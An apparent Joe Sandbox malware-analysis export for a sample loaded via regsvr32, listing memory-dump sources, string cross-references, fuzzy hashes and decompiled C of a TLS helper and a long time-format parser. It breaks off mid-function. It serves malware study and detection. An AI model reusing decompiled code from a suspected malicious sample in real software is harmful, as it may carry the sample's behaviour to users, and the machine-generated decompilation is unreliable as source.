0x0042e740
0x0042e740
0x0042e740
0x0042e73e
0x0042e74d
0x0042e750
0x0042e750
0x00000000
0x0042e729
0x0042e596
0x0042e52c
0x00000000
0x0042e520
0x0042e518
0x0042e4b0
0x0042e57e
0x0042e581
0x0042e583
0x0042e588
0x0042e588
0x00000000
0x0042e581
0x0042e1b9
0x0042e1b9
0x0042e1c0
0x0042e1c3
0x0042e1ca
0x0042e1ce
0x0042e1d5
0x0042e1d9
0x0042e1e0
0x0042e1e4
0x0042e1eb
0x0042e1ef
0x0042e1f6
0x0042e1fc
0x0042e205
0x0042e20d
0x00000000
0x0042e213
0x0042e213
0x0042e21a
0x0042e21d
0x0042e224
0x0042e228
0x0042e22f
0x0042e233
0x0042e23a
0x0042e23e
0x0042e245
0x0042e249
0x0042e250
0x0042e254
0x0042e25b
0x0042e25f
0x0042e266
0x0042e26a
0x0042e274
0x0042e27d
0x0042e284
0x0042e28d
0x0042e295
0x00000000
0x0042e297
0x0042e2a1
0x0042e2a4
0x0042e2ab
0x0042e2af
0x0042e2b9
0x0042e2b9
0x0042e295
0x0042e20d
0x00000000

Strings

urda, xrefs: 0042E1EF
cemb, xrefs: 0042E26A
M:pm, xrefs: 0042E2A4
:AM:am:P, xrefs: 0042E297

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: :AM:am:P$M:pm$cemb$urda
API String ID: 0-3183600707
Opcode ID: c95f0f4259727b18ecc35bac9b75178ac4c329ae635849c163ce89567c641f39
Instruction ID: 0d50b34237817bfc874022228d855708bdd8b58a6d847fd70ab0605a5525207d
Opcode Fuzzy Hash: c95f0f4259727b18ecc35bac9b75178ac4c329ae635849c163ce89567c641f39
Instruction Fuzzy Hash: 12029123311A64C6EB118F2AE45036D37A0FB94F98F999617DE5E473A0EB3CC886C355

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CF70 Relevance: 5.4, Strings: 4, Instructions: 410COMMON

Download Yara Rule

Strings

y4.), xrefs: 000000018001D445
, xrefs: 000000018001D0A7
UCV, xrefs: 000000018001D433
#X, xrefs: 000000018001D3DB

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$ $UCV$y4.)
API String ID: 0-917551206
Opcode ID: 28325ea241be474c5b5558c29b1591e9c0afa6bd6a02919fad3fbb937fa4a7d1
Instruction ID: 184fe4eacbf9e08f2726019dbafc4c76846ea676cbee85eca04fa60e25547d69
Opcode Fuzzy Hash: 28325ea241be474c5b5558c29b1591e9c0afa6bd6a02919fad3fbb937fa4a7d1
Instruction Fuzzy Hash: 1F12D4B1A0470C9BDB58DFA8D08AADDBBF2FB48344F00412EF946A7290D7B5D909CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004EB8 Relevance: 5.4, Strings: 4, Instructions: 386COMMON

Download Yara Rule

Strings

tL>, xrefs: 0000000180005068
#X, xrefs: 000000018000521E
rq%, xrefs: 00000001800052CE
"., xrefs: 000000018000533A

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$rq%$tL>$".
API String ID: 0-3922733902
Opcode ID: e7bca3236e2c6002a46b032ca93679f7d95ede6d4010d0837b1e0abab37f6438
Instruction ID: 8ee69377a5334a0597358b837e2ce6271206bb413a6875d6d0de0ea897bae13a
Opcode Fuzzy Hash: e7bca3236e2c6002a46b032ca93679f7d95ede6d4010d0837b1e0abab37f6438
Instruction Fuzzy Hash: AB22D1719096C88BDBF9DF24C8897CD37F0FF48344F90515A984E9A694DBB86688CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001AD28 Relevance: 5.2, Strings: 4, Instructions: 205COMMON

Download Yara Rule

Strings

HE, xrefs: 000000018001AFE0
Vc, xrefs: 000000018001AE8C
-, xrefs: 000000018001AE56
g, xrefs: 000000018001AE44

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: g$-$HE$Vc
API String ID: 0-2562162751
Opcode ID: f3d5559af2bde6194e80210adddbbaf8e95cb0bc6a16661ffa1dd3a57d8e1344
Instruction ID: 76bc536bf808c607f9cb86017a501deb6111fa7865d3976f2f77d64f8b404834
Opcode Fuzzy Hash: f3d5559af2bde6194e80210adddbbaf8e95cb0bc6a16661ffa1dd3a57d8e1344
Instruction Fuzzy Hash: B2B1E4B150478C9FDB84CF28D88A5CD3BB2FB58398F505219FC4A872A1D7B4D985CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800080CC Relevance: 5.2, Strings: 4, Instructions: 163COMMON

Download Yara Rule

Strings

he, xrefs: 000000018000814E
*i, xrefs: 00000001800080E7
(;, xrefs: 00000001800082E2
*%, xrefs: 0000000180008281

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: (;$*i$he$*%
API String ID: 0-35414758
Opcode ID: 8b9c9bfbfb1498278ba2aeeef8e78c7341b02e7a1b6eacef6973ad54d80d413a
Instruction ID: 90118a210b6fbbd4e1edc81005e9e8703d3567bb492b1ab34010b872f64ebe27
Opcode Fuzzy Hash: 8b9c9bfbfb1498278ba2aeeef8e78c7341b02e7a1b6eacef6973ad54d80d413a
Instruction Fuzzy Hash: 47711C7051474C9BEB88CF28C8856DD3BE1FF48398F565319FC8AA6290D778D588CB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D474 Relevance: 5.1, Strings: 4, Instructions: 136COMMON

Download Yara Rule

Strings

Yu, xrefs: 000000018000D5D1
*/, xrefs: 000000018000D623
I, xrefs: 000000018000D66B
(, xrefs: 000000018000D533

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: */$I$Yu$(
API String ID: 0-674225443
Opcode ID: 2498b6af7a2ed30e90db0a3e12568d2f4136c2386795e8cd742b44945e36b51d
Instruction ID: 29a67978e49626f0703cf47a9fa57a9246d8abe7c90f71aba017f6b39448c102
Opcode Fuzzy Hash: 2498b6af7a2ed30e90db0a3e12568d2f4136c2386795e8cd742b44945e36b51d
Instruction Fuzzy Hash: F2718DB190070A8FDB58CF68D48A5DE7FB0FB68398F204219F85596260D7B49AA5CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800014D4 Relevance: 5.1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

Strings

PYq|, xrefs: 0000000180025812
.:, xrefs: 00000001800257E4
W, xrefs: 0000000180001581
#X, xrefs: 0000000180001535

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$.:$PYq|$W
API String ID: 0-626586655
Opcode ID: 21991bcfd0f912b097b6461d75a60c549d6ff57ca2b273beb0e746897d976d77
Instruction ID: e7e680a352acdcb88f10e33d427f752ac76ab6bfd20a5a5b3742e60702f03059
Opcode Fuzzy Hash: 21991bcfd0f912b097b6461d75a60c549d6ff57ca2b273beb0e746897d976d77
Instruction Fuzzy Hash: 3941D27061CB858FD7A8DF28D58A75BBBF0FB99704F804A1EF589C7290DB7499048B42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A660 Relevance: 5.1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

Strings

5`, xrefs: 000000018000A677
P, xrefs: 000000018000A670
a:, xrefs: 000000018000A76D
<ml, xrefs: 000000018000A697

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5`$<ml$a:$P
API String ID: 0-330785107
Opcode ID: cbd383124c860a9d8e400423fa4c9196148af7f7093da0234d577b407377b911
Instruction ID: a07ca1248cfdb67f681b52a58ccfa66c10fddff401091bd5796c80d93c7931f1
Opcode Fuzzy Hash: cbd383124c860a9d8e400423fa4c9196148af7f7093da0234d577b407377b911
Instruction Fuzzy Hash: 084125B190074E8BDB48DF68C48A0DE7FB1FB58348F10861DE8569A390E7B89664CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014A90 Relevance: 5.1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

Strings

0u, xrefs: 0000000180014AA7
S, xrefs: 0000000180014B8E
e!, xrefs: 0000000180014BE7
-+, xrefs: 0000000180014B75

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -+$0u$S$e!
API String ID: 0-4217091389
Opcode ID: 96b86808421bf99806c252c8d8da0d71d9c96e1238819cdefd32f8fbf4f8ccc7
Instruction ID: d03ad277fc8a9b0667ab80387db8cecfc1af9f7f9a65b12471b89e1d6824e8d6
Opcode Fuzzy Hash: 96b86808421bf99806c252c8d8da0d71d9c96e1238819cdefd32f8fbf4f8ccc7
Instruction Fuzzy Hash: D741F3B090034A8FDB48CF64C88A5DE7FF0FB68388F20461DF81AA6250D37496A4CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003274 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

SJ, xrefs: 0000000180003292
"B, xrefs: 00000001800032CE
o, xrefs: 00000001800032EB
wU, xrefs: 000000018000335D

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: o$"B$SJ$wU
API String ID: 0-691100934
Opcode ID: aed5e06b6c4a71d08a3525650badbc70dff16501ab02106ea58e4e5589b648c2
Instruction ID: 764f192e33a034ff8c944ed6ff53fca478df7e7108460894f16ade84d7f1d45c
Opcode Fuzzy Hash: aed5e06b6c4a71d08a3525650badbc70dff16501ab02106ea58e4e5589b648c2
Instruction Fuzzy Hash: 4A41E2B180078ECFDB48CF68C88A5DE7BF0FB58358F104619E859A6254D3B89695CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001B94 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

b, xrefs: 0000000180001C2E
=2y}, xrefs: 0000000180001CEE
9luJ, xrefs: 0000000180001BF8
=2y}, xrefs: 0000000180001CF9

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 9luJ$=2y}$=2y}$b
API String ID: 0-1667874806
Opcode ID: d458d9c607de17fbdbefdb2618156754051a2d24e7c6e7f69b2615133eee77d7
Instruction ID: 1e42db790ccf456cb4332a56eec7d27f52592b274bab0b1154d60f800277b686
Opcode Fuzzy Hash: d458d9c607de17fbdbefdb2618156754051a2d24e7c6e7f69b2615133eee77d7
Instruction Fuzzy Hash: 0241E6B180038ECFDF44CF64D88A5CE7BB0FB18358F110A19F865A62A0D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00448C90 Relevance: 5.0, APIs: 4, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00448C90(void* __ecx, void* __rax) {
				void* _v24;
				void* _t2;

				if( *0x4520a4 != 0) {
					_t2 = TlsGetValue();
					if(__rax == 0) {
						if(E00448AE0(_t2, __rax) != 0) {
							GetProcessHeap();
							L0044D378();
							TlsSetValue(??, ??);
						}
						_t2 = TlsGetValue();
					}
				}
				return _t2;
			}

0x00448ca5
0x00448cad
0x00448cb5
0x00448cc0
0x00448cc2
0x00448cd2
0x00448ce0
0x00448ce0
0x00448ceb
0x00448ceb
0x00448cb5
0x00448d0e

APIs

TlsGetValue.KERNEL32 ref: 00448CAD
GetProcessHeap.KERNEL32 ref: 00448CC2
TlsSetValue.KERNEL32 ref: 00448CE0
TlsGetValue.KERNEL32 ref: 00448CEB

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: Value$HeapProcess
String ID:
API String ID: 3133723474-0
Opcode ID: a24e8b76a7aca357dbce7db9c021439825b9ea13c7e99c895d77fb02faea2a09
Instruction ID: 1919241c8c5501d5d4210307c4aba6cbe143a150cfda232a205cb48740c72168
Opcode Fuzzy Hash: a24e8b76a7aca357dbce7db9c021439825b9ea13c7e99c895d77fb02faea2a09
Instruction Fuzzy Hash: 07F0F661B12B4086FA24A7A6999132E23506B8A799F08402F9E0F1B7A1ED3CDC51CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D100 Relevance: 4.3, Strings: 2, Instructions: 1843
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0041D100(signed int __ebx, void* __ecx, signed int __edx, void* __esp, signed short* __rdx, signed short* __r8, signed short* __r9, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __r14;
				signed int _t589;
				signed int _t608;
				signed int _t609;
				signed short _t611;
				signed short _t612;
				signed short _t613;
				signed int _t614;
				signed short _t616;
				signed short _t617;
				signed short _t618;
				signed short _t620;
				signed short _t621;
				signed int _t623;
				signed short _t625;
				signed short _t626;
				signed short _t627;
				signed int _t628;
				signed short _t631;
				signed short _t632;
				signed short _t633;
				signed short _t634;
				signed int _t635;
				signed short _t636;
				void* _t637;
				signed short _t639;
				void* _t641;
				signed int _t643;
				signed short _t646;
				signed int _t648;
				signed short _t651;
				signed short _t653;
				signed short _t654;
				signed int _t659;
				signed int _t661;
				signed short _t664;
				signed int _t666;
				signed short _t668;
				char _t670;
				signed short _t671;
				signed short _t672;
				signed short _t673;
				signed short _t675;
				signed int _t677;
				signed short _t681;
				signed short _t682;
				signed short _t684;
				signed int _t686;
				char _t689;
				signed short _t692;
				signed short _t693;
				signed short _t694;
				signed int _t695;
				void* _t698;
				char _t699;
				signed int _t708;
				signed char _t709;
				signed int _t714;
				signed char _t722;
				signed int _t731;
				signed int _t735;
				signed int _t738;
				intOrPtr _t740;
				void* _t744;
				signed int _t745;
				void* _t746;
				intOrPtr _t747;
				signed int _t749;
				void* _t750;
				signed int _t751;
				signed int _t752;
				signed int _t753;
				signed int _t754;
				void* _t755;
				intOrPtr _t756;
				void* _t758;
				intOrPtr _t759;
				intOrPtr _t761;
				intOrPtr _t763;
				intOrPtr _t765;
				intOrPtr _t767;
				void* _t771;
				void* _t772;
				signed int _t773;
				void* _t776;
				void* _t777;
				signed int _t779;
				signed int _t780;
				intOrPtr _t781;
				void* _t799;
				signed short* _t841;
				signed short* _t845;
				signed short* _t846;
				long long _t850;
				signed short* _t852;
				signed short* _t855;
				intOrPtr _t858;
				signed short* _t859;
				signed short* _t866;
				signed short* _t869;
				signed short* _t872;
				signed short** _t874;
				signed char _t877;
				signed short* _t879;
				signed short* _t882;
				signed short* _t885;
				signed short* _t889;
				signed short* _t895;
				signed short* _t898;
				signed short** _t900;
				signed short* _t903;
				signed short* _t906;
				intOrPtr* _t907;
				signed short* _t910;
				signed short* _t913;
				signed short* _t916;
				signed short* _t921;
				signed short* _t924;
				signed short* _t927;
				signed short* _t930;
				signed short* _t932;
				signed short** _t936;
				intOrPtr _t940;
				signed short* _t943;
				signed short** _t946;
				intOrPtr _t950;
				signed short* _t953;
				signed short* _t960;
				intOrPtr _t962;
				signed short* _t964;
				signed short* _t970;
				signed short* _t974;
				signed short* _t977;
				signed short* _t980;
				signed short* _t983;
				long long* _t985;
				signed short* _t988;
				signed char _t998;
				signed short* _t1000;
				signed short* _t1003;
				signed short* _t1006;
				signed short** _t1008;
				void* _t1014;
				intOrPtr* _t1016;
				signed short** _t1017;
				intOrPtr* _t1019;
				intOrPtr* _t1022;
				signed short* _t1024;
				signed short* _t1025;
				signed short* _t1026;
				intOrPtr* _t1027;
				signed short* _t1029;
				intOrPtr* _t1032;
				intOrPtr* _t1033;
				intOrPtr* _t1034;
				intOrPtr* _t1035;
				intOrPtr* _t1036;
				signed short* _t1037;
				signed long long _t1039;
				intOrPtr* _t1040;
				signed short* _t1041;
				intOrPtr* _t1042;
				intOrPtr* _t1045;
				signed short* _t1046;
				signed short* _t1047;
				intOrPtr* _t1049;
				signed short* _t1053;
				intOrPtr* _t1055;
				signed short* _t1057;
				intOrPtr* _t1061;
				intOrPtr* _t1062;
				intOrPtr* _t1065;
				intOrPtr* _t1069;
				intOrPtr* _t1071;
				signed short _t1072;
				intOrPtr* _t1076;
				intOrPtr* _t1077;
				signed short* _t1078;
				intOrPtr* _t1079;
				intOrPtr* _t1080;
				intOrPtr* _t1086;
				intOrPtr* _t1087;
				intOrPtr* _t1089;
				intOrPtr* _t1090;
				signed short* _t1093;
				long long _t1094;
				intOrPtr* _t1095;
				intOrPtr _t1098;
				intOrPtr* _t1099;
				intOrPtr* _t1101;
				intOrPtr* _t1103;
				intOrPtr* _t1107;
				intOrPtr _t1109;
				intOrPtr* _t1110;
				intOrPtr* _t1114;
				intOrPtr* _t1115;
				signed short* _t1116;
				signed char _t1117;
				signed char* _t1119;
				intOrPtr* _t1124;
				intOrPtr _t1131;
				intOrPtr* _t1132;
				signed short* _t1135;
				signed short* _t1136;
				intOrPtr* _t1137;
				signed short* _t1140;
				signed short* _t1142;
				intOrPtr _t1147;
				intOrPtr* _t1148;
				intOrPtr* _t1150;
				signed short* _t1153;
				signed short* _t1155;
				intOrPtr _t1160;
				intOrPtr* _t1161;
				intOrPtr* _t1165;
				intOrPtr* _t1167;
				intOrPtr* _t1170;
				intOrPtr* _t1171;
				intOrPtr* _t1173;
				intOrPtr* _t1175;
				intOrPtr* _t1176;
				intOrPtr* _t1177;
				intOrPtr* _t1179;
				intOrPtr* _t1181;
				signed short* _t1184;
				signed short* _t1185;
				signed short* _t1187;
				intOrPtr* _t1189;
				signed short* _t1195;
				signed short* _t1197;
				signed short* _t1204;
				signed char _t1210;
				signed short* _t1218;
				signed short* _t1220;
				signed short* _t1228;
				signed short* _t1229;
				signed short* _t1238;
				intOrPtr* _t1239;
				signed short** _t1240;
				signed short* _t1244;
				signed short* _t1256;
				signed short* _t1262;
				signed long long _t1268;
				long long _t1269;
				long long _t1272;
				long long _t1273;
				void* _t1275;
				signed short* _t1276;
				signed short* _t1278;
				long long _t1279;
				signed short* _t1280;
				signed long long _t1281;
				intOrPtr* _t1285;
				signed short* _t1286;
				signed short* _t1287;
				signed short* _t1288;
				signed short** _t1290;
				void* _t1291;
				signed short* _t1295;
				signed long long _t1298;
				signed short* _t1300;
				long long* _t1301;
				signed short* _t1302;
				intOrPtr _t1303;
				long long _t1304;
				void* _t1305;
				signed short* _t1306;
				signed short* _t1307;
				signed short* _t1308;

				_t1299 = __r11;
				_t1297 = __r9;
				_t1292 = __r8;
				_t783 = __esp;
				_t742 = __edx;
				_t708 = __ebx;
				_t1290 = _t1291 + 0x80;
				asm("movaps [ebp+0x100], xmm7");
				asm("movdqa [ebp+0xf0], xmm6");
				_t1300 = __r9;
				_t1307 = __r8;
				_t1025 = __rdx;
				_t1046 = _t1290[0x31];
				if(_t1290[0x30] == 0) {
					_t1047 =  *((intOrPtr*)( *((intOrPtr*)(_t1046 + 0x40))));
					_t1290[5] = _t1047;
					_t841 =  *_t1047;
					_t841[8]();
					E00413770(__ebx, __ecx, __edx, _t744, __esp,  &(_t1290[5]), __r8, __r9, __r11, _t1305);
					_t1280 = _t841;
					_t1049 = _t1290[5];
					if(_t1049 == 0) {
						L7:
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [ebp+0x40], xmm0");
						_t1290[6] = 0;
						_t745 =  *((intOrPtr*)( *_t1280 + 0x60))();
						_t1290[1] = _t745;
						_t589 =  *((intOrPtr*)( *_t1280 + 0x40))();
						if(_t1290[0x19] == 0) {
							_t589 =  *((intOrPtr*)( *_t1280 + 0x48))() & 0xffffff00 | _t1290[0xd] == 0x00000000;
							_t1290[0x11] = 7;
							_t845 = _t1290[0xe];
							if(_t845 >= 8) {
								_t1185 = _t1290[0xb];
								if(_t845 + _t845 + 2 >= 0x1000) {
									_t1185 =  *((intOrPtr*)(_t1185 - 8));
								}
								_t589 = E00402090(_t589, _t1185);
							}
						} else {
							_t1290[0x11] = 0;
						}
						_t1290[0x10] = _t1025;
						_t846 = _t1290[0x1a];
						if(_t846 >= 8) {
							_t1184 = _t1290[0x17];
							if(_t846 + _t846 + 2 >= 0x1000) {
								_t1184 =  *((intOrPtr*)(_t1184 - 8));
							}
							E00402090(_t589, _t1184);
						}
						_t1290[3] = _t1307;
						_t1290[0x12] = _t1280;
						_t709 = _t708 & 0xffffff00 | dil == 0x00000078;
						r15b = (_t745 & 0x0000ff00) == 0x7800;
						r13b = (_t745 & 0x00ff0000) == 0x780000;
						r14b = (_t745 & 0xff000000) == 0x78000000;
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [eax+0x18], xmm0");
						_t1290[0x10][4] = 0;
						_t1053 =  *(_t1290[0x31][0x20]);
						_t1290[0x16] = _t1053;
						_t850 =  *_t1053;
						 *((intOrPtr*)(_t850 + 0x10))();
						E004119C0(_t709, _t742, _t745, _t783,  &(_t1290[0x16]), _t1292, _t1297, _t1299, _t1305);
						 *((long long*)(_t1290 - 0x10)) = _t850;
						_t1055 = _t1290[0x16];
						if(_t1055 != 0) {
							_t1019 =  *_t1055;
							 *((intOrPtr*)(_t1019 + 0x18))();
							if(_t1019 != 0) {
								 *((intOrPtr*)( *_t1019 + 8))();
							}
						}
						_t1281 = _t1290[0x32];
						_t1298 = _t1281;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1290 - 0x10)))) + 0x68))();
						_t710 = _t709 | r15b;
						r13b = r13b | r14b;
						r13b = r13b | _t709 | r15b;
						_t1290[0x1d] = r13b;
						_t1308 = _t1290[0x10];
						_t1026 = _t1308 + 8;
						_t852 = _t1290[3];
						_t63 = _t852 + 8; // 0x41cc9f
						_t1306 = _t63;
						_t64 = _t852 + 0xa; // 0x418b482e74000000
						_t1290[0x1c] = _t64;
						_t1290[0x11] = _t1290[0x11] ^ 0x00000001;
						_t854 = _t1281 - 2;
						_t1290[2] = _t854;
						asm("dec ax");
						asm("pslldq xmm6, 0x8");
						asm("movaps xmm7, [0x3148c]");
						_t1290[0x15] = _t854;
						 *_t1290 = _t854;
						 *(_t1290 - 8) = _t854;
						_t1290[4] = _t854;
						_t1302 = _t1300;
						_t1290[0x13] = _t1302;
						_t1290[0x1b] = _t1026;
						while(1) {
							_t608 = dil;
							if(_t608 <= 0x2a) {
								goto L38;
							}
							if(_t608 == 0x2b) {
								_t1290[0x14] = _t1281;
								_t1301 = _t1290[3];
								_t1079 =  *_t1301;
								_t773 = 0;
								_t749 = 0;
								if(_t1079 != 0) {
									_t854 =  *((intOrPtr*)( *((intOrPtr*)(_t1079 + 0x38))));
									if(_t854 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1079 + 0x50)))) <= 0) {
										_t854 =  *_t1079;
										_t654 = _t854[0x1c]();
									} else {
										_t654 =  *_t854 & 0x0000ffff;
									}
									_t608 = _t654 & 0x0000ffff;
									_t749 = 0;
									dil = _t608 != 0xffff;
								}
								_t1080 =  *_t1302;
								if(_t1080 != 0) {
									_t854 =  *((intOrPtr*)( *((intOrPtr*)(_t1080 + 0x38))));
									if(_t854 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1080 + 0x50)))) <= 0) {
										_t854 =  *_t1080;
										_t653 = _t854[0x1c]();
									} else {
										_t653 =  *_t854 & 0x0000ffff;
									}
									_t608 = _t653 & 0x0000ffff;
									_t773 = 0;
									sil = _t608 != 0xffff;
								}
								if(_t749 != _t773) {
									_t635 =  *((intOrPtr*)( *(_t1290[0x12]) + 0x40))();
									if(_t1290[0x19] == 0) {
										L274:
										_t930 = _t1290[0x1a];
										if(_t930 >= 8) {
											_t1155 = _t1290[0x17];
											if(_t930 + _t930 + 2 >= 0x1000) {
												_t1155 =  *((intOrPtr*)(_t1155 - 8));
											}
											E00402090(_t635, _t1155);
										}
										if(sil == 0) {
											_t636 =  *((intOrPtr*)( *(_t1290[0x12]) + 0x48))();
											if(_t1290[0x19] == 0) {
												L365:
												_t932 = _t1290[0x1a];
												if(_t932 >= 8) {
													_t1142 = _t1290[0x17];
													if(_t932 + _t932 + 2 >= 0x1000) {
														_t1142 =  *((intOrPtr*)(_t1142 - 8));
													}
													E00402090(_t636, _t1142);
												}
												if(sil == 0) {
													_t608 =  *((intOrPtr*)( *(_t1290[0x12]) + 0x40))();
													_t1286 = _t1290[0x19];
													_t854 = _t1290[0x1a];
													if(_t854 >= 8) {
														_t1136 = _t1290[0x17];
														_t854 = _t854 +  &(_t854[1]);
														if(_t854 >= 0x1000) {
															_t1136 =  *((intOrPtr*)(_t1136 - 8));
														}
														_t608 = E00402090(_t608, _t1136);
													}
													if(_t1286 != 0) {
														_t637 =  *((intOrPtr*)( *(_t1290[0x12]) + 0x48))();
														_t1287 = _t1290[0x19];
														_t854 = _t1290[0x1a];
														if(_t854 >= 8) {
															_t1135 = _t1290[0x17];
															_t854 = _t854 +  &(_t854[1]);
															if(_t854 >= 0x1000) {
																_t1135 =  *((intOrPtr*)(_t1135 - 8));
															}
															E00402090(_t637, _t1135);
														}
														_t608 = 1;
														if(_t1287 != 0) {
															_t854 = _t1290[4];
														}
														_t1290[4] = _t854;
													}
													goto L198;
												} else {
													_t1137 =  *_t1301;
													_t1281 = _t1290[0x14];
													if(_t1137 == 0) {
														L389:
														 *_t1301 = 0;
														_t639 = 1;
														L390:
														 *_t1306 = _t639;
														 *((intOrPtr*)( *(_t1290[0x12]) + 0x48))();
														_t1026 = _t1290[0x1b];
														_t641 = E0041F100( &(_t1290[5]),  &(_t1290[0x16]));
														_t854 = _t1290[0x1a];
														if(_t854 >= 8) {
															_t1140 = _t1290[0x17];
															_t854 = _t854 +  &(_t854[1]);
															if(_t854 >= 0x1000) {
																_t1140 =  *((intOrPtr*)(_t1140 - 8));
															}
															E00402090(_t641, _t1140);
														}
														_t608 = 1;
														_t1290[4] = _t854;
														goto L199;
													}
													_t936 =  *((intOrPtr*)(_t1137 + 0x38));
													_t1256 =  *_t936;
													if(_t1256 == 0) {
														L386:
